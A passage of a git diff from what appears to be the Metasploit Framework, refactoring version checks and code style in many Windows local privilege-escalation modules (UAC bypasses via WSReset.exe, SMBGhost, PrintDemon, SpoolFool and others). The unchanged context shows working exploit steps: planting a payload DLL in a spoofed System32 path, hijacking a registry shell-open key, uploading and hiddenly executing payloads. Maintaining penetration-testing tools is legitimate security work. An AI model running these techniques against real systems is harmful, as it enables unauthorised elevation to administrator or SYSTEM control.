shell_execute_exe - return + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return end vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs" @@ -82,12 +82,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -97,9 +95,9 @@ def check_permissions! def upload_vbs(payload_filepath) vbs = File.read(File.join(Msf::Config.data_directory, - 'exploits', - 'scripthost_uac_bypass', - 'bypass.vbs')) + 'exploits', + 'scripthost_uac_bypass', + 'bypass.vbs')) command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true) @@ -117,13 +115,11 @@ def upload_vbs(payload_filepath) def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo['OS'] - - case winver - when /Windows (7|2008)/ - print_good("#{winver} may be vulnerable.") + version = get_version_info + if version.win7_or_2008r2? + print_good("#{version.product_name} may be vulnerable.") else - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.") end if is_uac_enabled? diff --git a/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb index 5ae61cd8770a3..c1e5d0f1e0256 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb @@ -38,7 +38,7 @@ def initialize(info = {}) }, 'DisclosureDate' => '2019-08-22', 'Notes' => { - 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] }, 'References' => [ ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], @@ -53,13 +53,14 @@ def initialize(info = {}) stdapi_sys_process_execute ] } - }, + } ) ) end def check - if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + version = get_version_info + if version.build_number > Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && exists?('C:\\Windows\\System32\\WSReset.exe') return CheckCode::Appears end @@ -93,9 +94,9 @@ def exploit return end - exploit_win_dir = "C:\\Windows \\" - exploit_dir = "C:\\Windows \\System32\\" - exploit_file = exploit_dir + "WSReset.exe" + exploit_win_dir = 'C:\\Windows \\' + exploit_dir = 'C:\\Windows \\System32\\' + exploit_file = exploit_dir + 'WSReset.exe' unless exists? exploit_win_dir print_status("Creating directory '#{exploit_win_dir}'...") session.fs.dir.mkdir(exploit_win_dir) @@ -105,14 +106,14 @@ def exploit session.fs.dir.mkdir(exploit_dir) end unless exists? exploit_file - session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file) + session.fs.file.copy('C:\\Windows\\System32\\WSReset.exe', exploit_file) end - payload_dll = "C:\\Windows \\System32\\propsys.dll" + payload_dll = 'C:\\Windows \\System32\\propsys.dll' print_status("Creating payload '#{payload_dll}'...") payload = generate_payload_dll write_file(payload_dll, payload) - print_status("Executing WSReset.exe...") + print_status('Executing WSReset.exe...') begin session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, { 'Hidden' => true }) rescue ::Exception => e @@ -123,7 +124,7 @@ def exploit def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -134,12 +135,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb index 8644ccb106cb2..8c2c65e2f21c5 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb @@ -61,7 +61,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\Windows\\System32\\WSReset.exe') return CheckCode::Appears end @@ -88,40 +89,40 @@ def exploit # get directory locations straight win_dir = session.sys.config.getenv('windir') - vprint_status("win_dir = " + win_dir) + vprint_status('win_dir = ' + win_dir) tmp_dir = session.sys.config.getenv('tmp') - vprint_status("tmp_dir = " + tmp_dir) - exploit_dir = win_dir + "\\System32\\" - vprint_status("exploit_dir = " + exploit_dir) - reset_filepath = exploit_dir + "WSReset.exe" - vprint_status("exploit_file = " + reset_filepath) + vprint_status('tmp_dir = ' + tmp_dir) + exploit_dir = win_dir + '\\System32\\' + vprint_status('exploit_dir = ' + exploit_dir) + reset_filepath = exploit_dir + 'WSReset.exe' + vprint_status('exploit_file = ' + reset_filepath) # make payload - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe' payload_pathname = tmp_dir + '\\' + payload_name - vprint_status("payload_pathname = " + payload_pathname) - vprint_status("Making Payload") + vprint_status('payload_pathname = ' + payload_pathname) + vprint_status('Making Payload') payload = generate_payload_exe reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" vprint_status("reg_command = " + reg_command) - @registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" + @registry_key = 'HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command' # make registry changes vprint_status("Making Registry Changes") begin registry_createkey(@registry_key) - registry_setvaldata(@registry_key, "DelegateExecute", '', "REG_SZ") - registry_setvaldata(@registry_key, '', reg_command, "REG_SZ") + registry_setvaldata(@registry_key, 'DelegateExecute', '', 'REG_SZ') + registry_setvaldata(@registry_key, '', reg_command, 'REG_SZ') rescue ::Exception => e print_error(e.to_s) end - vprint_status("Registry Changes Complete") + vprint_status('Registry Changes Complete') # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) - vprint_status("Payload Upload Complete") + vprint_status('Payload Upload Complete') - vprint_status("Launching " + reset_filepath) + vprint_status('Launching ' + reset_filepath) begin session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true) rescue ::Exception => e @@ -132,15 +133,15 @@ def exploit def cleanup if @registry_key.present? - vprint_status("Removing Registry Changes") + vprint_status('Removing Registry Changes') registry_deletekey(@registry_key) - vprint_status("Registry Changes Removed") + vprint_status('Registry Changes Removed') end end def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -151,12 +152,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb index d03fd7af7aed8..2250506878c71 100644 --- a/modules/exploits/windows/local/capcom_sys_exec.rb +++ b/modules/exploits/windows/local/capcom_sys_exec.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X64 } ] @@ -60,7 +60,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] !~ /windows (7|8|10)/i + version = get_version_info + if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server? return Exploit::CheckCode::Unknown end @@ -71,13 +72,13 @@ def check # Validate that the driver has been loaded and that # the version is the same as the one expected client.sys.config.getdrivers.each do |d| - if d[:basename].downcase == 'capcom.sys' - expected_checksum = '73c98438ac64a68e88b7b0afd11ba140' - target_checksum = client.fs.file.md5(d[:filename]) + next unless d[:basename].downcase == 'capcom.sys' - if expected_checksum == Rex::Text.to_hex(target_checksum, '') - return Exploit::CheckCode::Appears - end + expected_checksum = '73c98438ac64a68e88b7b0afd11ba140' + target_checksum = client.fs.file.md5(d[:filename]) + + if expected_checksum == Rex::Text.to_hex(target_checksum, '') + return Exploit::CheckCode::Appears end end diff --git a/modules/exploits/windows/local/comahawk.rb b/modules/exploits/windows/local/comahawk.rb index 4061907b958b1..5c791e998dfae 100644 --- a/modules/exploits/windows/local/comahawk.rb +++ b/modules/exploits/windows/local/comahawk.rb @@ -82,7 +82,7 @@ def exploit payload_exe = generate_payload_exe # Check target - vprint_status("Checking Target") + vprint_status('Checking Target') validate_active_host validate_target fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path) @@ -95,42 +95,39 @@ def exploit print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") # Upload Payload - vprint_status("Uploading Payload") + vprint_status('Uploading Payload') ensure_clean_destination(payload_path) write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") print_warning("This exploit requires manual cleanup of the payload #{payload_path}") # Run Exploit - vprint_status("Running Exploit") - print_status("It may take a moment after the session is established for the exploit to exit safely.") + vprint_status('Running Exploit') + print_status('It may take a moment after the session is established for the exploit to exit safely.') begin cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) - print_error("Caught timeout. Exploit may be taking longer or it may have failed.") + print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end vprint_status("Cleaning up #{exploit_path}") ensure_clean_destination(exploit_path) end def validate_active_host - begin - print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue Rex::Post::Meterpreter::RequestError => e - elog('Could not connect to session', error: e) - raise Msf::Exploit::Failed, 'Could not connect to session' - end + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog('Could not connect to session', error: e) + raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362) + version = get_version_info + vprint_status("OS version: #{version}") + unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362') end end diff --git a/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb b/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb index bae9363aec295..3a6eb8f3d2a29 100644 --- a/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb +++ b/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Windows 10 v1703 (Build 15063) x86', { 'UniqueProcessIdOffset' => 180, 'TokenOffset' => 252, - 'Version' => 'Build 15063' + 'Version' => Msf::WindowsVersion::Win10_1703 } ] ], @@ -74,7 +74,8 @@ def initialize(info = {}) def target_info fail_with(Failure::None, 'Session is already elevated') if is_system? - unless sysinfo['OS'].include?(target['Version']) && sysinfo['Architecture'] == 'x86' + version = get_version_info + unless version.build_number == target['Version'] && sysinfo['Architecture'] == 'x86' fail_with(Failure::NoTarget, 'Target is not compatible with exploit') end end diff --git a/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb b/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb index c798c1c1227dd..7aa1163c55b8a 100644 --- a/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb +++ b/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb @@ -63,9 +63,7 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb index 339357341115c..629d097e29fdd 100644 --- a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb +++ b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb @@ -284,10 +284,9 @@ def validate_target fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363) + version_info = get_version_info + vprint_status("Version: #{version_info.number}") + unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363') end end diff --git a/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb b/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb index 6e7c162fbe161..e7d59244847c8 100644 --- a/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb +++ b/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb @@ -89,7 +89,6 @@ def target_not_presently_supported def check sysinfo_value = sysinfo['OS'] - if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') @@ -106,7 +105,8 @@ def check end # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/ + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1909) return CheckCode::Safe('Target is not running a vulnerable version of Windows!') end @@ -151,7 +151,7 @@ def check def check_target_is_running_supported_windows_version if sysinfo['OS'].match('Windows').nil? fail_with(Failure::NotVulnerable, 'Target is not running Windows!') - elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil? + elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...') end end diff --git a/modules/exploits/windows/local/cve_2020_0796_smbghost.rb b/modules/exploits/windows/local/cve_2020_0796_smbghost.rb index 6ce7d36d9a034..3adac2e569295 100644 --- a/modules/exploits/windows/local/cve_2020_0796_smbghost.rb +++ b/modules/exploits/windows/local/cve_2020_0796_smbghost.rb @@ -62,17 +62,15 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + vprint_status("Windows Build Number = #{version.build_number}") # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /10/ && (build_num >= 18362 && build_num <= 18363) + unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909) print_error('The exploit only supports Windows 10 versions 1903 - 1909') return CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb b/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb index 329265d26f641..b8d8505b84aa9 100644 --- a/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb +++ b/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb @@ -44,7 +44,11 @@ def initialize(info = {}) 'DefaultOptions' => { 'DisablePayloadHandler' => true }, - 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] + }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ @@ -169,10 +173,10 @@ def validate_payload end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363 + version = get_version_info + + vprint_status("OS version: #{version}") + return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb b/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb index ca1decb08d50e..fda8c28cf2358 100644 --- a/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb +++ b/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb @@ -71,8 +71,7 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb b/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb index 6ebc45dcc629f..555c39af270c3 100644 --- a/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb +++ b/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb @@ -150,10 +150,9 @@ def validate_target end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - if sysinfo_value =~ /10/ && (build_num > 17763) && (build_num <= 19041) + version = get_version_info + vprint_status("OS version: #{version}") + if version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_2004) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb b/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb index d2ffb78301464..e75c47ee3d5f7 100644 --- a/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb +++ b/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Post::Windows::Version include Msf::Exploit::EXE include Msf::Post::Windows::Powershell @@ -174,10 +175,9 @@ def validate_payload end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363 + version = get_version_info + vprint_status("OS version: #{version}") + return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_17136.rb b/modules/exploits/windows/local/cve_2020_17136.rb index 2a29ed067e2f4..87bdf764a8712 100644 --- a/modules/exploits/windows/local/cve_2020_17136.rb +++ b/modules/exploits/windows/local/cve_2020_17136.rb @@ -112,8 +112,7 @@ def check_requirements(clr_req, installed_dotnet_versions) end def check - sysinfo_value = sysinfo['OS'] - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') end diff --git a/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb b/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb index d365c2bd58c47..b892834af0661 100644 --- a/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb +++ b/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb @@ -50,7 +50,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS, ], - 'Reliability' => [ REPEATABLE_SESSION, ] + 'Reliability' => [ REPEATABLE_SESSION, ], + 'SideEffects' => [ IOC_IN_LOGS ] }, 'Compat' => { 'Meterpreter' => { @@ -65,9 +66,7 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end @@ -82,15 +81,12 @@ def check end def target_compatible? - sysinfo_value = sysinfo['OS'] - - build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info - return true if sysinfo_value =~ /Windows 7/ && ((build_num == 7600) || (build_num == 7601)) - return true if sysinfo_value =~ /Windows 8\.1/ && (build_num == 9600) - return true if sysinfo_value =~ /Windows 10/ && (build_num >= 14393 && build_num <= 19043) - return true if sysinfo_value =~ /Windows 2016/ && (build_num >= 14393 && build_num <= 19043) + vprint_status("OS version: #{version}") + return true if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation? + return true if version.build_number == Msf::WindowsVersion::Win81 && version.workstation? + return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_21H1) false end diff --git a/modules/exploits/windows/local/cve_2021_40449.rb b/modules/exploits/windows/local/cve_2021_40449.rb index b8d96e48f49f3..8c995fe689aed 100644 --- a/modules/exploits/windows/local/cve_2021_40449.rb +++ b/modules/exploits/windows/local/cve_2021_40449.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Post::Windows::Version include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck @@ -73,13 +74,18 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') end + version_info = get_version_info + unless version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H1) || + version_info.build_number == Msf::WindowsVersion::Server2022 || + version_info.build_number == Msf::WindowsVersion::Win11_21H1 + return CheckCode::Safe('Target is not running a vulnerable version of Windows!') + end + build_num_raw = cmd_exec('cmd.exe /c ver') build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/) if build_num.nil? @@ -89,11 +95,6 @@ def check print_status("Target's build number: #{build_num}") end - # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/ - return CheckCode::Safe('Target is not running a vulnerable version of Windows!') - end - build_num_gemversion = Rex::Version.new(build_num) # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/ diff --git a/modules/exploits/windows/local/cve_2022_21882_win32k.rb b/modules/exploits/windows/local/cve_2022_21882_win32k.rb index d907a837b8d4f..1d29b0982805a 100644 --- a/modules/exploits/windows/local/cve_2022_21882_win32k.rb +++ b/modules/exploits/windows/local/cve_2022_21882_win32k.rb @@ -89,22 +89,21 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Windows Build Number = #{build_num}") - - unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044) - print_error('The exploit only supports Windows 10 versions 1803 - 21H2') + version = get_version_info + vprint_status("Windows Build Number = #{version.product_name}") + if version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_21H2) + CheckCode::Appears + elsif version.build_number == Msf::WindowsVersion::Server2022 || version.build_number == Msf::WindowsVersion::Win11_21H2 + CheckCode::Detected("May be vulnerable, but exploit not tested on #{version.product_name}") + else + print_error('Vulnerability only present on Windows 10 versions 1803 - 21H2, Windows 11 21H2, Server 2019 and Server 2022') return CheckCode::Safe end - - CheckCode::Appears end def exploit diff --git a/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb b/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb index d8f2997d5de4c..535d28d2444ae 100644 --- a/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb +++ b/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb @@ -90,19 +90,18 @@ def initialize(info = {}) end def check - s_info = sysinfo['OS'] - unless s_info =~ /windows/i + unless session.platform == 'windows' return CheckCode::Safe('This module only supports Windows targets.') end - _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll') + version = get_version_info - case s_info - when /windows 7/i + if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.') - when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter - return CheckCode::Appears if build <= 18362 - return CheckCode::Appears if revision < 1526 + elsif version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_21H2) || + version.build_number == Msf::WindowsVersion::Server2022 || + version.build_number == Msf::WindowsVersion::Win11_21H2 + return CheckCode::Appears end CheckCode::Safe @@ -129,9 +128,8 @@ def get_printer_name end def target_is_server? - s_info = sysinfo['OS'] - - s_info =~ /server/i || s_info =~ /\d{4}\+/ + version = get_version_info + version.windows_server? end # Windows usually has Print to PDF or XPS Document Writer diff --git a/modules/exploits/windows/local/cve_2022_26904_superprofile.rb b/modules/exploits/windows/local/cve_2022_26904_superprofile.rb index 718fc234a707c..2198c301b67e2 100644 --- a/modules/exploits/windows/local/cve_2022_26904_superprofile.rb +++ b/modules/exploits/windows/local/cve_2022_26904_superprofile.rb @@ -91,7 +91,10 @@ def check end # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /(7|8|8\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/ + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H2) || + version.build_number == Msf::WindowsVersion::Win11_21H2 || + version.build_number == Msf::WindowsVersion::Server2022 return CheckCode::Safe('Target is not running a vulnerable version of Windows!') end @@ -129,7 +132,7 @@ def check if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11 return CheckCode::Appears('Vulnerable Windows 11 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022 - return CheckCode::Appears('Vulnerable Windows 11 build detected!') + return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2 return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1 @@ -196,8 +199,8 @@ def target_not_presently_supported def check_target_is_running_supported_windows_version if !sysinfo['OS'].include?('Windows') fail_with(Failure::NotVulnerable, 'Target is not running Windows!') - elsif !sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server 2022') - fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...') + elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease + fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...') end end diff --git a/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb b/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb index f227f1a82bf67..52926bfe486d2 100644 --- a/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb +++ 